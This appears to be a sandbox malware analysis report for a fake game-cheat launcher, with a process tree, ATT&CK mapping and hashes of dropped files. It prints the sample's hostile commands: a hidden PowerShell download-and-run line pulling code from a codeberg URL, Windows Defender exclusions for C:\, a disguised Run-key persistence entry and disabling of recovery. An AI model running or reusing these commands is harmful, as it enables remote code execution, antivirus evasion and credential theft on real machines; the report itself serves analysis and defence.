  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1876,i,13562606018538874413,10746954275184896059,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=2572 /prefetch:13
      4⤵
      PID:4444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4496,i,8624507204900037587,5824300167140126925,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=4512 /prefetch:14
      4⤵
      PID:996
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4496,i,8624507204900037587,5824300167140126925,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=4512 /prefetch:14
      4⤵
      PID:5780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=5008,i,5245614705781789169,17329277506420139278,2097152 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=5108 /prefetch:1
      4⤵
      PID:3104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=5004,i,12486409769312337674,6722142832556166089,2097152 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=5064 /prefetch:1
      4⤵
      PID:920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5544,i,14562530696724546339,8949400012168911989,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
      4⤵
      PID:5616
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5560,i,5580508271988423677,6007983383677070990,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:14
      4⤵
      PID:1016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6200,i,6804604280311382676,6335523396580556454,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=6220 /prefetch:14
      4⤵
      PID:1452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6224,i,16144633712610325438,11401216276230444405,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=6232 /prefetch:14
      4⤵
      PID:4960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6228,i,13948399691617343235,3115819160131388778,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:14
      4⤵
      PID:5500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3512,i,12200892740434723306,11126752195624049796,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:14
      4⤵
      PID:616
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3508,i,12304001029405531084,9466953245668974240,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:14
      4⤵
      PID:3244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6324,i,13678184346942204878,4529178669435429956,2097152 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=6320 /prefetch:1
      4⤵
      PID:2592
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6008,i,14910303249669821218,4439508996909574720,2097152 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=6404 /prefetch:1
      4⤵
      PID:4940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=6540,i,16871832794111267744,6788570907295500212,2097152 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=6548 /prefetch:1
      4⤵
      PID:1492
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6520,i,9240144373594059910,16990790811943248405,2097152 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=6516 /prefetch:1
      4⤵
      PID:496
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6780,i,15178564371396482834,3302098857244478045,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=6788 /prefetch:14
      4⤵
      PID:4436
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=5420,i,15194880724754931734,10718959929215372636,2097152 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=6708 /prefetch:1
      4⤵
      PID:4036
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=5064,i,3998444882778430726,14288847193011298214,2097152 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=7044 /prefetch:1
      4⤵
      PID:3344
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=6484,i,17198056070237065432,8496345299776482514,2097152 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=5016 /prefetch:1
      4⤵
      PID:5352
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7048,i,14607201422498674167,9354837588840719781,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=7136 /prefetch:14
      4⤵
      PID:4012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7052,i,17856060857589479060,2058020914029491408,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=7120 /prefetch:14
      4⤵
      PID:5636
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5644,i,1555280292236236191,14491889580644773435,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:14
      4⤵
      PID:5384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5612,i,12330764002800616795,1705902891263283653,262144 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:10
      4⤵
      PID:4688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4292,i,11568055641271675000,15241167504795626369,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:14
      4⤵
      PID:5244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5840,i,2857518265374514863,5971766579651867745,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:14
      4⤵
      PID:5992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3748,i,7947300492310272671,1933320774487355894,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=4600 /prefetch:14
      4⤵
      PID:3988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4008,i,3543016855982867196,889974793761786446,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=4012 /prefetch:14
      4⤵
      PID:324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5568,i,16497978743657800141,7598671622486973797,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:14
      4⤵
      PID:3204
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5740,i,14374787328099505193,14585263629424192244,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:14
      4⤵
      PID:3688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5628,i,99012338226249410,649973235517368170,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=6692 /prefetch:14
      4⤵
      PID:2460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5544,i,10065657632135443165,6665528429423843441,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=3784 /prefetch:14
      4⤵
      PID:5052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5924,i,8387295464056459165,9008273591708079285,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=1052 /prefetch:14
      4⤵
      PID:4208

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2284

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5244

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:960

C:\Users\Admin\Desktop\DBDCheat\Launcher.exe
"C:\Users\Admin\Desktop\DBDCheat\Launcher.exe"
1⤵
PID:2088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:6072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm 'https://codeberg.org/handswork/test/raw/branch/main/test.txt' | iex"
  2⤵
  - UAC bypass
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3456
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
    3⤵
    PID:4764
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ /d 0 /f /reg:64
    3⤵
    PID:2140
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v FontDrvHost /t REG_SZ /d C:\ProgramData\fontdrvhost.exe /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:2180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://igk.filexspace.com/getfile/SFMGEGN?title=coreDependency
  2⤵
  PID:3668

C:\ProgramData\fontdrvhost.exe
C:\ProgramData\fontdrvhost.exe
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2812
- C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\chrome.exe
  C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\chrome.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  PID:5684
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe
    3⤵
    - UAC bypass
    - Badlisted process makes network request
    - Drops file in Drivers directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4424
  - - C:\Windows\SysWOW64\ReAgentc.exe
      "C:\Windows\system32\ReAgentc.exe" /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:672
  - - C:\Windows\SysWOW64\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /flushdns
      4⤵
      System Location Discovery: System Language Discovery
      Gathers network information
      PID:2824
- - C:\Program Files (x86)\Microsoft\Edge\Application\chrome.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\chrome.exe" -
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1008

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3912

C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\chrome.exe
C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\chrome.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4684

C:\Program Files (x86)\Windows Defender\Launcher.exe
"C:\Program Files (x86)\Windows Defender\Launcher.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1272

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

chrome.exe

Path C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\chrome.exe
Size 3.4MB
SHA256 f7318c29098a1679d8de250c893658b1beb009c727780bc29e2007544c12b1cd
MD5 b986255a86e8ab8ac6d84628114af1ea
SHA1 af1a8a86495c0bd9e8191445b18b3ba7e3e3b68f
SHA512 8b93db364bbb36850e12a22243bb129e0353fb2c9673059f3abf4ebaf65741d3fa5bfa52bed698a9b12f3549c5cbaf156dcce843e29121d8b840cbd948272e10
SSDEEP 98304:MPdJhl6XFResf9q/WnVGwDo+kV18pl5A4O6OZjS3+JL:MPPj6reG9vfq14l5A4ERPJ
TLSH
T14AF533C6DADB38D3C0BF01BF72ED5C6FA40C4D3144D229A396469D3A89A52D4621BF2C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

057e792c-a725-434b-a4eb-7808b732778b.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\057e792c-a725-434b-a4eb-7808b732778b.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

419a7364-6e43-46a8-9c61-386772759bdd.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\419a7364-6e43-46a8-9c61-386772759bdd.tmp
Size 17KB
SHA256 79ea521d9f3df87d24eec0f3607ae01ff8cf6eaeb5c7802f7c4721f58b8ddead
MD5 5d35f09b8c86835fb4877dcd0cc40e4a
SHA1 71d399e3fd153dc456fddb8f9cf7b1d428dcd2c7
SHA512 68050d4d5a4a4f94c2a29dfff1edf5350066ef5a2e47ef11dcbd09970c2009d28d7804e59c25d64e43ef8e1367105d32e929bef6a7a0e31d18837b193891b321
SSDEEP 384:WQjb+7KxkXqKf/pUZNCgVLH2Hfgsl5g7pLuLcSjQRXODaB+ErU39rHGQ3uKHaaK7:WUb+7KxkXqKf/pUZNCgVLH2HfgsLg7pn
TLSH
T1BF72F967BC4C9A370F94C6CDD8267A4FADB5024B65DD886483FA982903D4BCF110A2F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 5fc7709803db0734aeaba105be0a48fcb3176500ab6401a779fcbca13058a77e
MD5 3950cf8b9cae87b66ae643d8827b3b0d
SHA1 fe865408b74c003d431a3f9989eca264248c6894
SHA512 fc34f9241362fc880100b0bb1f47d68dc923b82d94e7c72d5bc36b992013dc6f9708f14069d08ed93553532ccd5f95cea9155398ace75d7ca7d55da9f119127d
TLSH
T149E02BA9CD21AC3718FD875860544641E750131F3A81491F3A3D961C8FF4677425592C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 720B
SHA256 69d3015d1e3d94aef4806654f85800ea396f9569e6d379ad7ad31ff23fc63dcf
MD5 2bffe6990c3d8aca38c41dfdd14e288f
SHA1 67360fe5ce44df28f2f741222555b552003db093
SHA512 6ad38720cf5c0eb05cd2ed9a4420aa89eb36cc91f8852983df1e1bbb78d5e9912732bacd4d356def646f743f4cd7dcf3c3702d1612f864ce7842a754c10e9c1a
TLSH
T16F01552144749E62E3607638A6C8F6EC343367E106078DD2730D8DB0E82879FF00636A
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 bdf2fce7a59e86d251f846785bb885ff27f47cf9c913997afe57503ff5a29bd0
MD5 7bbc8e97c6dc1a763dad185c822be380
SHA1 f86f20f3545673acaf35032aeeb580e7339a9d7f
SHA512 1535e6819e12b1d1fba1e52d38cdcd26b39d946c19ee57e09389013984741c703e5c10b96d9387ebadd07a0f046393f46f79a77fbf70c959d042e2d15bff7bc9
TLSH
T19F61ACF7C3E8956D891196F4EB116E1FCD6D0928532C3C6AC9D4AE1B53E2872D24038E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 ea6ae22a0f3d6375a3058892e14b93a45fcf7141cbeb1bbd9e4378e8bdbcabb8
MD5 7bd2ee13d9472009cdac20fad99f0c4a
SHA1 bee5f0369bd17e997b960eecb8ae1e1623dbeca4
SHA512 86b3eca9d18fe1cd3edaa28c65c4eea3094076f90dfc6e74d11fcd9a450a515a6e065a39c7b8ead558e1a573e50ed8568a316fbd81dd2d92f7985f0280242314
TLSH
T10151BBF793E8996D891192F4EB11AE1FCE6D0924432C3D66C9D4AE1B53E3972D24038E
MD5 SHA1 SHA512 TLSH

Submit Download

d6ac1e03-d4fd-46de-9492-adcfd151f47f.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\d6ac1e03-d4fd-46de-9492-adcfd151f47f.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 5bef7830587f49757692e20721a36d88f496039387de5ba437d9f8a97308a71a
